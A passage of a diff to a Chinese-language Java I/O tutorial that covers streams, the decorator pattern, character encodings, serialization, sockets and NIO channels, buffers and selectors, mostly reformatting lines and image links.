+    byte[] buffer = new byte[20 * 1024];
+    int cnt;
 
-    // read() 最多读取 buffer.length 个字节
-    // 返回的是实际读取的个数
-    // 返回 -1 的时候表示读到 eof，即文件尾
-    while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
-        out.write(buffer, 0, cnt);
-    }
+    // read() 最多读取 buffer.length 个字节
+    // 返回的是实际读取的个数
+    // 返回 -1 的时候表示读到 eof，即文件尾
+    while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
+        out.write(buffer, 0, cnt);
+    }
 
-    in.close();
-    out.close();
+    in.close();
+    out.close();
 }
 ```
 
-## 装饰者模式
+## 装饰者模式
 
-Java I/O 使用了装饰者模式来实现。以 InputStream 为例，
+Java I/O 使用了装饰者模式来实现。以 InputStream 为例，
 
-- InputStream 是抽象组件；
-- FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作；
-- FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
+- InputStream 是抽象组件；
+- FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作；
+- FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
 
-<img src="index_files/DP-Decorator-java.io.png" width="500"/>
+<div align="center"> <img src="pics/DP-Decorator-java.io.png" width="500"/> </div><br>
 
-实例化一个具有缓存功能的字节流对象时，只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
+实例化一个具有缓存功能的字节流对象时，只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
 
 ```java
-FileInputStream fileInputStream = new FileInputStream(filePath);
-BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
+FileInputStream fileInputStream = new FileInputStream(filePath);
+BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
 ```
 
-DataInputStream 装饰者提供了对更多数据类型进行输入的操作，比如 int、double 等基本类型。
+DataInputStream 装饰者提供了对更多数据类型进行输入的操作，比如 int、double 等基本类型。
 
-# 四、字符操作
+# 四、字符操作
 
-## 编码与解码
+## 编码与解码
 
 编码就是把字符转换为字节，而解码是把字节重新组合成字符。
 
 如果编码和解码过程使用不同的编码方式那么就出现了乱码。
 
-- GBK 编码中，中文字符占 2 个字节，英文字符占 1 个字节；
-- UTF-8 编码中，中文字符占 3 个字节，英文字符占 1 个字节；
-- UTF-16be 编码中，中文字符和英文字符都占 2 个字节。
+- GBK 编码中，中文字符占 2 个字节，英文字符占 1 个字节；
+- UTF-8 编码中，中文字符占 3 个字节，英文字符占 1 个字节；
+- UTF-16be 编码中，中文字符和英文字符都占 2 个字节。
 
-UTF-16be 中的 be 指的是 Big Endian，也就是大端。相应地也有 UTF-16le，le 指的是 Little Endian，也就是小端。
+UTF-16be 中的 be 指的是 Big Endian，也就是大端。相应地也有 UTF-16le，le 指的是 Little Endian，也就是小端。
 
-Java 的内存编码使用双字节编码 UTF-16be，这不是指 Java 只支持这一种编码方式，而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位，也就是两个字节，Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
+Java 的内存编码使用双字节编码 UTF-16be，这不是指 Java 只支持这一种编码方式，而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位，也就是两个字节，Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
 
-## String 的编码方式
+## String 的编码方式
 
-String 可以看成一个字符序列，可以指定一个编码方式将它编码为字节序列，也可以指定一个编码方式将一个字节序列解码为 String。
+String 可以看成一个字符序列，可以指定一个编码方式将它编码为字节序列，也可以指定一个编码方式将一个字节序列解码为 String。
 
 ```java
-String str1 = "中文";
-byte[] bytes = str1.getBytes("UTF-8");
-String str2 = new String(bytes, "UTF-8");
+String str1 = "中文";
+byte[] bytes = str1.getBytes("UTF-8");
+String str2 = new String(bytes, "UTF-8");
 System.out.println(str2);
 ```
 
-在调用无参数 getBytes() 方法时，默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文，而将 String 转为 bytes[] 字节数组就不再需要这个好处，因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关，一般为 UTF-8。
+在调用无参数 getBytes() 方法时，默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文，而将 String 转为 bytes[] 字节数组就不再需要这个好处，因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关，一般为 UTF-8。
 
 ```java
-byte[] bytes = str1.getBytes();
+byte[] bytes = str1.getBytes();
 ```
 
-## Reader 与 Writer
+## Reader 与 Writer
 
 不管是磁盘还是网络传输，最小的存储单元都是字节，而不是字符。但是在程序中操作的通常是字符形式的数据，因此需要提供对字符进行操作的方法。
 
-- InputStreamReader 实现从字节流解码成字符流；
-- OutputStreamWriter 实现字符流编码成为字节流。
+- InputStreamReader 实现从字节流解码成字符流；
+- OutputStreamWriter 实现字符流编码成为字节流。
 
-## 实现逐行输出文本文件的内容
+## 实现逐行输出文本文件的内容
 
 ```java
-public static void readFileContent(String filePath) throws IOException {
+public static void readFileContent(String filePath) throws IOException {
 
-    FileReader fileReader = new FileReader(filePath);
-    BufferedReader bufferedReader = new BufferedReader(fileReader);
+    FileReader fileReader = new FileReader(filePath);
+    BufferedReader bufferedReader = new BufferedReader(fileReader);
 
-    String line;
-    while ((line = bufferedReader.readLine()) != null) {
-        System.out.println(line);
-    }
+    String line;
+    while ((line = bufferedReader.readLine()) != null) {
+        System.out.println(line);
+    }
 
-    // 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
-    // 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
-    // 因此只要一个 close() 调用即可
-    bufferedReader.close();
+    // 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
+    // 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
+    // 因此只要一个 close() 调用即可
+    bufferedReader.close();
 }
 ```
 
-# 五、对象操作
+# 五、对象操作
 
-## 序列化
+## 序列化
 
 序列化就是将一个对象转换成字节序列，方便存储和传输。
 
-- 序列化：ObjectOutputStream.writeObject()
-- 反序列化：ObjectInputStream.readObject()
+- 序列化：ObjectOutputStream.writeObject()
+- 反序列化：ObjectInputStream.readObject()
 
 不会对静态变量进行序列化，因为序列化只是保存对象的状态，静态变量属于类的状态。
 
-## Serializable
+## Serializable
 
-序列化的类需要实现 Serializable 接口，它只是一个标准，没有任何方法需要实现，但是如果不去实现它的话而进行序列化，会抛出异常。
+序列化的类需要实现 Serializable 接口，它只是一个标准，没有任何方法需要实现，但是如果不去实现它的话而进行序列化，会抛出异常。
 
 ```java
-public static void main(String[] args) throws IOException, ClassNotFoundException {
+public static void main(String[] args) throws IOException, ClassNotFoundException {
 
-    A a1 = new A(123, "abc");
-    String objectFile = "file/a1";
+    A a1 = new A(123, "abc");
+    String objectFile = "file/a1";
 
-    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
-    objectOutputStream.writeObject(a1);
-    objectOutputStream.close();
+    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
+    objectOutputStream.writeObject(a1);
+    objectOutputStream.close();
 
-    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
-    A a2 = (A) objectInputStream.readObject();
-    objectInputStream.close();
-    System.out.println(a2);
+    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
+    A a2 = (A) objectInputStream.readObject();
+    objectInputStream.close();
+    System.out.println(a2);
 }
 
-private static class A implements Serializable {
+private static class A implements Serializable {
 
-    private int x;
-    private String y;
+    private int x;
+    private String y;
 
-    A(int x, String y) {
-        this.x = x;
-        this.y = y;
-    }
+    A(int x, String y) {
+        this.x = x;
+        this.y = y;
+    }
 
-    @Override
-    public String toString() {
-        return "x = " + x + "  " + "y = " + y;
-    }
+    @Override
+    public String toString() {
+        return "x = " + x + "  " + "y = " + y;
+    }
 }
 ```
 
-## transient
+## transient
 
-transient 关键字可以使一些属性不会被序列化。
+transient 关键字可以使一些属性不会被序列化。
 
-ArrayList 中存储数据的数组 elementData 是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
+ArrayList 中存储数据的数组 elementData 是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
 
 ```java
-private transient Object[] elementData;
+private transient Object[] elementData;
 ```
 
-# 六、网络操作
+# 六、网络操作
 
-Java 中的网络支持：
+Java 中的网络支持：
 
-- InetAddress：用于表示网络上的硬件资源，即 IP 地址；
-- URL：统一资源定位符；
-- Sockets：使用 TCP 协议实现网络通信；
-- Datagram：使用 UDP 协议实现网络通信。
+- InetAddress：用于表示网络上的硬件资源，即 IP 地址；
+- URL：统一资源定位符；
+- Sockets：使用 TCP 协议实现网络通信；
+- Datagram：使用 UDP 协议实现网络通信。
 
-## InetAddress
+## InetAddress
 
 没有公有的构造函数，只能通过静态方法来创建实例。
 
 ```java
-InetAddress.getByName(String host);
-InetAddress.getByAddress(byte[] address);
+InetAddress.getByName(String host);
+InetAddress.getByAddress(byte[] address);
 ```
 
-## URL
+## URL
 
-可以直接从 URL 中读取字节流数据。
+可以直接从 URL 中读取字节流数据。
 
 ```java
-public static void main(String[] args) throws IOException {
+public static void main(String[] args) throws IOException {
 
-    URL url = new URL("http://www.baidu.com");
+    URL url = new URL("http://www.baidu.com");
 
-    /* 字节流 */
-    InputStream is = url.openStream();
+    /* 字节流 */
+    InputStream is = url.openStream();
 
-    /* 字符流 */
-    InputStreamReader isr = new InputStreamReader(is, "utf-8");
+    /* 字符流 */
+    InputStreamReader isr = new InputStreamReader(is, "utf-8");
 
-    /* 提供缓存功能 */
-    BufferedReader br = new BufferedReader(isr);
+    /* 提供缓存功能 */
+    BufferedReader br = new BufferedReader(isr);
 
-    String line;
-    while ((line = br.readLine()) != null) {
-        System.out.println(line);
-    }
+    String line;
+    while ((line = br.readLine()) != null) {
+        System.out.println(line);
+    }
 
-    br.close();
+    br.close();
 }
 ```
 
-## Sockets
+## Sockets
 
-- ServerSocket：服务器端类
-- Socket：客户端类
-- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
+- ServerSocket：服务器端类
+- Socket：客户端类
+- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
 
-![](index_files/ClienteServidorSockets1521731145260.jpg)
+<div align="center"> <img src="pics/ClienteServidorSockets1521731145260.jpg"/> </div><br>
 
-## Datagram
+## Datagram
 
-- DatagramSocket：通信类
-- DatagramPacket：数据包类
+- DatagramSocket：通信类
+- DatagramPacket：数据包类
 
-# 七、NIO
+# 七、NIO
 
-新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的，弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
+新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的，弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
 
-## 流与块
+## 流与块
 
-I/O 与 NIO 最重要的区别是数据打包和传输的方式，I/O 以流的方式处理数据，而 NIO 以块的方式处理数据。
+I/O 与 NIO 最重要的区别是数据打包和传输的方式，I/O 以流的方式处理数据，而 NIO 以块的方式处理数据。
 
-面向流的 I/O 一次处理一个字节数据：一个输入流产生一个字节数据，一个输出流消费一个字节数据。为流式数据创建过滤器非常容易，链接几个过滤器，以便每个过滤器只负责复杂处理机制的一部分。不利的一面是，面向流的 I/O 通常相当慢。
+面向流的 I/O 一次处理一个字节数据：一个输入流产生一个字节数据，一个输出流消费一个字节数据。为流式数据创建过滤器非常容易，链接几个过滤器，以便每个过滤器只负责复杂处理机制的一部分。不利的一面是，面向流的 I/O 通常相当慢。
 
-面向块的 I/O 一次处理一个数据块，按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
+面向块的 I/O 一次处理一个数据块，按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
 
-I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重新实现了，所以现在它可以利用 NIO 的一些特性。例如，java.io.\* 包中的一些类包含以块的形式读写数据的方法，这使得即使在面向流的系统中，处理速度也会更快。
+I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重新实现了，所以现在它可以利用 NIO 的一些特性。例如，java.io.\* 包中的一些类包含以块的形式读写数据的方法，这使得即使在面向流的系统中，处理速度也会更快。
 
-## 通道与缓冲区
+## 通道与缓冲区
 
-### 1. 通道
+### 1. 通道
 
-通道 Channel 是对原 I/O 包中的流的模拟，可以通过它读取和写入数据。
+通道 Channel 是对原 I/O 包中的流的模拟，可以通过它读取和写入数据。
 
-通道与流的不同之处在于，流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
+通道与流的不同之处在于，流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
 
 通道包括以下类型：
 
-- FileChannel：从文件中读写数据；
-- DatagramChannel：通过 UDP 读写网络中数据；
-- SocketChannel：通过 TCP 读写网络中数据；
-- ServerSocketChannel：可以监听新进来的 TCP 连接，对每一个新进来的连接都会创建一个 SocketChannel。
+- FileChannel：从文件中读写数据；
+- DatagramChannel：通过 UDP 读写网络中数据；
+- SocketChannel：通过 TCP 读写网络中数据；
+- ServerSocketChannel：可以监听新进来的 TCP 连接，对每一个新进来的连接都会创建一个 SocketChannel。
 
-### 2. 缓冲区
+### 2. 缓冲区
 
 发送给一个通道的所有数据都必须首先放到缓冲区中，同样地，从通道中读取的任何数据都要先读到缓冲区中。也就是说，不会直接对通道进行读写数据，而是要先经过缓冲区。
 
@@ -288,308 +322,300 @@ I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基
 
 缓冲区包括以下类型：
 
-- ByteBuffer
-- CharBuffer
-- ShortBuffer
-- IntBuffer
-- LongBuffer
-- FloatBuffer
-- DoubleBuffer
+- ByteBuffer
+- CharBuffer
+- ShortBuffer
+- IntBuffer
+- LongBuffer
+- FloatBuffer
+- DoubleBuffer
 
-## 缓冲区状态变量
+## 缓冲区状态变量
 
-- capacity：最大容量；
-- position：当前已经读写的字节数；
-- limit：还可以读写的字节数。
+- capacity：最大容量；
+- position：当前已经读写的字节数；
+- limit：还可以读写的字节数。
 
 状态变量的改变过程举例：
 
-① 新建一个大小为 8 个字节的缓冲区，此时 position 为 0，而 limit = capacity = 8。capacity 变量不会改变，下面的讨论会忽略它。
+① 新建一个大小为 8 个字节的缓冲区，此时 position 为 0，而 limit = capacity = 8。capacity 变量不会改变，下面的讨论会忽略它。
 
-![](index_files/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png)
+<div align="center"> <img src="pics/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
 
-② 从输入通道中读取 5 个字节数据写入缓冲区中，此时 position 为 5，limit 保持不变。
+② 从输入通道中读取 5 个字节数据写入缓冲区中，此时 position 为 5，limit 保持不变。
 
-![](index_files/80804f52-8815-4096-b506-48eef3eed5c6.png)
+<div align="center"> <img src="pics/80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br>
 
-③ 在将缓冲区的数据写到输出通道之前，需要先调用 flip() 方法，这个方法将 limit 设置为当前 position，并将 position 设置为 0。
+③ 在将缓冲区的数据写到输出通道之前，需要先调用 flip() 方法，这个方法将 limit 设置为当前 position，并将 position 设置为 0。
 
-![](index_files/952e06bd-5a65-4cab-82e4-dd1536462f38.png)
+<div align="center"> <img src="pics/952e06bd-5a65-4cab-82e4-dd1536462f38.png"/> </div><br>
 
-④ 从缓冲区中取 4 个字节到输出缓冲中，此时 position 设为 4。
+④ 从缓冲区中取 4 个字节到输出缓冲中，此时 position 设为 4。
 
-![](index_files/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png)
+<div align="center"> <img src="pics/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png"/> </div><br>
 
-⑤ 最后需要调用 clear() 方法来清空缓冲区，此时 position 和 limit 都被设置为最初位置。
+⑤ 最后需要调用 clear() 方法来清空缓冲区，此时 position 和 limit 都被设置为最初位置。
 
-![](index_files/67bf5487-c45d-49b6-b9c0-a058d8c68902.png)
+<div align="center"> <img src="pics/67bf5487-c45d-49b6-b9c0-a058d8c68902.png"/> </div><br>
 
-## 文件 NIO 实例
+## 文件 NIO 实例
 
-以下展示了使用 NIO 快速复制文件的实例：
+以下展示了使用 NIO 快速复制文件的实例：
 
 ```java
-public static void fastCopy(String src, String dist) throws IOException {
+public static void fastCopy(String src, String dist) throws IOException {
 
-    /* 获得源文件的输入字节流 */
-    FileInputStream fin = new FileInputStream(src);
+    /* 获得源文件的输入字节流 */
+    FileInputStream fin = new FileInputStream(src);
 
-    /* 获取输入字节流的文件通道 */
-    FileChannel fcin = fin.getChannel();
+    /* 获取输入字节流的文件通道 */
+    FileChannel fcin = fin.getChannel();
 
-    /* 获取目标文件的输出字节流 */
-    FileOutputStream fout = new FileOutputStream(dist);
+    /* 获取目标文件的输出字节流 */
+    FileOutputStream fout = new FileOutputStream(dist);
 
-    /* 获取输出字节流的文件通道 */
-    FileChannel fcout = fout.getChannel();
+    /* 获取输出字节流的文件通道 */
+    FileChannel fcout = fout.getChannel();
 
-    /* 为缓冲区分配 1024 个字节 */
-    ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
+    /* 为缓冲区分配 1024 个字节 */
+    ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
 
-    while (true) {
+    while (true) {
 
-        /* 从输入通道中读取数据到缓冲区中 */
-        int r = fcin.read(buffer);
+        /* 从输入通道中读取数据到缓冲区中 */
+        int r = fcin.read(buffer);
 
-        /* read() 返回 -1 表示 EOF */
-        if (r == -1) {
-            break;
-        }
+        /* read() 返回 -1 表示 EOF */
+        if (r == -1) {
+            break;
+        }
 
-        /* 切换读写 */
-        buffer.flip();
+        /* 切换读写 */
+        buffer.flip();
 
-        /* 把缓冲区的内容写入输出文件中 */
-        fcout.write(buffer);
+        /* 把缓冲区的内容写入输出文件中 */
+        fcout.write(buffer);
 
-        /* 清空缓冲区 */
-        buffer.clear();
-    }
+        /* 清空缓冲区 */
+        buffer.clear();
+    }
 }
 ```
 
-## 选择器
+## 选择器
 
-NIO 常常被叫做非阻塞 IO，主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
+NIO 常常被叫做非阻塞 IO，主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
 
-NIO 实现了 IO 多路复用中的 Reactor 模型，一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件，从而让一个线程就可以处理多个事件。
+NIO 实现了 IO 多路复用中的 Reactor 模型，一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件，从而让一个线程就可以处理多个事件。
 
-通过配置监听的通道 Channel 为非阻塞，那么当 Channel 上的 IO 事件还未到达时，就不会进入阻塞状态一直等待，而是继续轮询其它 Channel，找到 IO 事件已经到达的 Channel 执行。
+通过配置监听的通道 Channel 为非阻塞，那么当 Channel 上的 IO 事件还未到达时，就不会进入阻塞状态一直等待，而是继续轮询其它 Channel，找到 IO 事件已经到达的 Channel 执行。
 
-因为创建和切换线程的开销很大，因此使用一个线程来处理多个事件而不是一个线程处理一个事件，对于 IO 密集型的应用具有很好地性能。
+因为创建和切换线程的开销很大，因此使用一个线程来处理多个事件而不是一个线程处理一个事件，对于 IO 密集型的应用具有很好地性能。
 
-应该注意的是，只有套接字 Channel 才能配置为非阻塞，而 FileChannel 不能，为 FileChannel 配置非阻塞也没有意义。
+应该注意的是，只有套接字 Channel 才能配置为非阻塞，而 FileChannel 不能，为 FileChannel 配置非阻塞也没有意义。
 
-![](index_files/4d930e22-f493-49ae-8dff-ea21cd6895dc.png)
+<div align="center"> <img src="pics/4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br>
 
-### 1. 创建选择器
+### 1. 创建选择器
 
 ```java
-Selector selector = Selector.open();
+Selector selector = Selector.open();
 ```
 
-### 2. 将通道注册到选择器上
+### 2. 将通道注册到选择器上
 
 ```java
-ServerSocketChannel ssChannel = ServerSocketChannel.open();
+ServerSocketChannel ssChannel = ServerSocketChannel.open();
 ssChannel.configureBlocking(false);
-ssChannel.register(selector, SelectionKey.OP_ACCEPT);
+ssChannel.register(selector, SelectionKey.OP_ACCEPT);
 ```
 
 通道必须配置为非阻塞模式，否则使用选择器就没有任何意义了，因为如果通道在某个事件上被阻塞，那么服务器就不能响应其它事件，必须等待这个事件处理完毕才能去处理其它事件，显然这和选择器的作用背道而驰。
 
 在将通道注册到选择器上时，还需要指定要注册的具体事件，主要有以下几类：
 
-- SelectionKey.OP_CONNECT
-- SelectionKey.OP_ACCEPT
-- SelectionKey.OP_READ
-- SelectionKey.OP_WRITE
+- SelectionKey.OP_CONNECT
+- SelectionKey.OP_ACCEPT
+- SelectionKey.OP_READ
+- SelectionKey.OP_WRITE
 
-它们在 SelectionKey 的定义如下：
+它们在 SelectionKey 的定义如下：
 
 ```java
-public static final int OP_READ = 1 << 0;
-public static final int OP_WRITE = 1 << 2;
-public static final int OP_CONNECT = 1 << 3;
-public static final int OP_ACCEPT = 1 << 4;
+public static final int OP_READ = 1 << 0;
+public static final int OP_WRITE = 1 << 2;
+public static final int OP_CONNECT = 1 << 3;
+public static final int OP_ACCEPT = 1 << 4;
 ```
 
 可以看出每个事件可以被当成一个位域，从而组成事件集整数。例如：
 
 ```java
-int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
+int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
 ```
 
-### 3. 监听事件
+### 3. 监听事件
 
 ```java
-int num = selector.select();
+int num = selector.select();
 ```
 
-使用 select() 来监听到达的事件，它会一直阻塞直到有至少一个事件到达。
+使用 select() 来监听到达的事件，它会一直阻塞直到有至少一个事件到达。
 
-### 4. 获取到达的事件
+### 4. 获取到达的事件
 
 ```java
-Set<SelectionKey> keys = selector.selectedKeys();
-Iterator<SelectionKey> keyIterator = keys.iterator();
-while (keyIterator.hasNext()) {
-    SelectionKey key = keyIterator.next();
-    if (key.isAcceptable()) {
-        // ...
-    } else if (key.isReadable()) {
-        // ...
-    }
-    keyIterator.remove();
+Set<SelectionKey> keys = selector.selectedKeys();
+Iterator<SelectionKey> keyIterator = keys.iterator();
+while (keyIterator.hasNext()) {
+    SelectionKey key = keyIterator.next();
+    if (key.isAcceptable()) {
+        // ...
+    } else if (key.isReadable()) {
+        // ...
+    }
+    keyIterator.remove();
 }
 ```
 
-### 5. 事件循环
+### 5. 事件循环
 
-因为一次 select() 调用不能处理完所有的事件，并且服务器端有可能需要一直监听事件，因此服务器端处理事件的代码一般会放在一个死循环内。
+因为一次 select() 调用不能处理完所有的事件，并且服务器端有可能需要一直监听事件，因此服务器端处理事件的代码一般会放在一个死循环内。
 
 ```java
-while (true) {
-    int num = selector.select();
-    Set<SelectionKey> keys = selector.selectedKeys();
-    Iterator<SelectionKey> keyIterator = keys.iterator();
-    while (keyIterator.hasNext()) {
-        SelectionKey key = keyIterator.next();
-        if (key.isAcceptable()) {
-            // ...
-        } else if (key.isReadable()) {
-            // ...
-        }
-        keyIterator.remove();
-    }
+while (true) {
+    int num = selector.select();
+    Set<SelectionKey> keys = selector.selectedKeys();
+    Iterator<SelectionKey> keyIterator = keys.iterator();
+    while (keyIterator.hasNext()) {
+        SelectionKey key = keyIterator.next();
+        if (key.isAcceptable()) {
+            // ...
+        } else if (key.isReadable()) {
+            // ...
+        }
+        keyIterator.remove();
+    }
 }
 ```
 
-## 套接字 NIO 实例
+## 套接字 NIO 实例
 
 ```java
-public class NIOServer {
+public class NIOServer {
 
-    public static void main(String[] args) throws IOException {
+    public static void main(String[] args) throws IOException {
 
-        Selector selector = Selector.open();
+        Selector selector = Selector.open();
 
-        ServerSocketChannel ssChannel = ServerSocketChannel.open();
-        ssChannel.configureBlocking(false);
-        ssChannel.register(selector, SelectionKey.OP_ACCEPT);
+        ServerSocketChannel ssChannel = ServerSocketChannel.open();
+        ssChannel.configureBlocking(false);
+        ssChannel.register(selector, SelectionKey.OP_ACCEPT);
 
-        ServerSocket serverSocket = ssChannel.socket();
-        InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
-        serverSocket.bind(address);
+        ServerSocket serverSocket = ssChannel.socket();
+        InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
+        serverSocket.bind(address);
 
-        while (true) {
+        while (true) {
 
-            selector.select();
-            Set<SelectionKey> keys = selector.selectedKeys();
-            Iterator<SelectionKey> keyIterator = keys.iterator();
+            selector.select();
+            Set<SelectionKey> keys = selector.selectedKeys();
+            Iterator<SelectionKey> keyIterator = keys.iterator();
 
-            while (keyIterator.hasNext()) {
+            while (keyIterator.hasNext()) {
 
-                SelectionKey key = keyIterator.next();
+                SelectionKey key = keyIterator.next();
 
-                if (key.isAcceptable()) {
+                if (key.isAcceptable()) {
 
-                    ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
+                    ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
 
-                    // 服务器会为每个新连接创建一个 SocketChannel
-                    SocketChannel sChannel = ssChannel1.accept();
-                    sChannel.configureBlocking(false);
+                    // 服务器会为每个新连接创建一个 SocketChannel
+                    SocketChannel sChannel = ssChannel1.accept();
+                    sChannel.configureBlocking(false);
 
-                    // 这个新连接主要用于从客户端读取数据
-                    sChannel.register(selector, SelectionKey.OP_READ);
+                    // 这个新连接主要用于从客户端读取数据
+                    sChannel.register(selector, SelectionKey.OP_READ);
 
-                } else if (key.isReadable()) {
+                } else if (key.isReadable()) {
 
-                    SocketChannel sChannel = (SocketChannel) key.channel();
-                    System.out.println(readDataFromSocketChannel(sChannel));
-                    sChannel.close();
-                }
+                    SocketChannel sChannel = (SocketChannel) key.channel();
+                    System.out.println(readDataFromSocketChannel(sChannel));
+                    sChannel.close();
+                }
 
-                keyIterator.remove();
-            }
-        }
-    }
+                keyIterator.remove();
+            }
+        }
+    }
 
-    private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
+    private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
 
-        ByteBuffer buffer = ByteBuffer.allocate(1024);
-        StringBuilder data = new StringBuilder();
+        ByteBuffer buffer = ByteBuffer.allocate(1024);
+        StringBuilder data = new StringBuilder();
 
-        while (true) {
+        while (true) {
 
-            buffer.clear();
-            int n = sChannel.read(buffer);
-            if (n == -1) {
-                break;
-            }
-            buffer.flip();
-            int limit = buffer.limit();
-            char[] dst = new char[limit];
-            for (int i = 0; i < limit; i++) {
-                dst[i] = (char) buffer.get(i);
-            }
-            data.append(dst);
-            buffer.clear();
-        }
-        return data.toString();
-    }
+            buffer.clear();
+            int n = sChannel.read(buffer);
+            if (n == -1) {
+                break;
+            }
+            buffer.flip();
+            int limit = buffer.limit();
+            char[] dst = new char[limit];
+            for (int i = 0; i < limit; i++) {
+                dst[i] = (char) buffer.get(i);
+            }
+            data.append(dst);
+            buffer.clear();
+        }
+        return data.toString();
+    }
 }
 ```
 
 ```java
-public class NIOClient {
+public class NIOClient {
 
-    public static void main(String[] args) throws IOException {
-        Socket socket = new Socket("127.0.0.1", 8888);
-        OutputStream out = socket.getOutputStream();
-        String s = "hello world";
-        out.write(s.getBytes());
-        out.close();
-    }
+    public static void main(String[] args) throws IOException {
+        Socket socket = new Socket("127.0.0.1", 8888);
+        OutputStream out = socket.getOutputStream();
+        String s = "hello world";
+        out.write(s.getBytes());
+        out.close();
+    }
 }
 ```
 
-## 内存映射文件
+## 内存映射文件
 
-内存映射文件 I/O 是一种读和写文件数据的方法，它可以比常规的基于流或者基于通道的 I/O 快得多。
+内存映射文件 I/O 是一种读和写文件数据的方法，它可以比常规的基于流或者基于通道的 I/O 快得多。
 
 向内存映射文件写入可能是危险的，只是改变数组的单个元素这样的简单操作，就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
 
-下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
+下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
 
 ```java
-MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
+MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
 ```
 
-## 对比
+## 对比
 
-NIO 与普通 I/O 的区别主要有以下两点：
+NIO 与普通 I/O 的区别主要有以下两点：
 
-- NIO 是非阻塞的；
-- NIO 面向块，I/O 面向流。
+- NIO 是非阻塞的；
+- NIO 面向块，I/O 面向流。
 
-# 八、参考资料
+# 八、参考资料
 
-- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
-- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
-- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
-- [Java NIO 浅析](https://tech.meituan.com/nio.html)
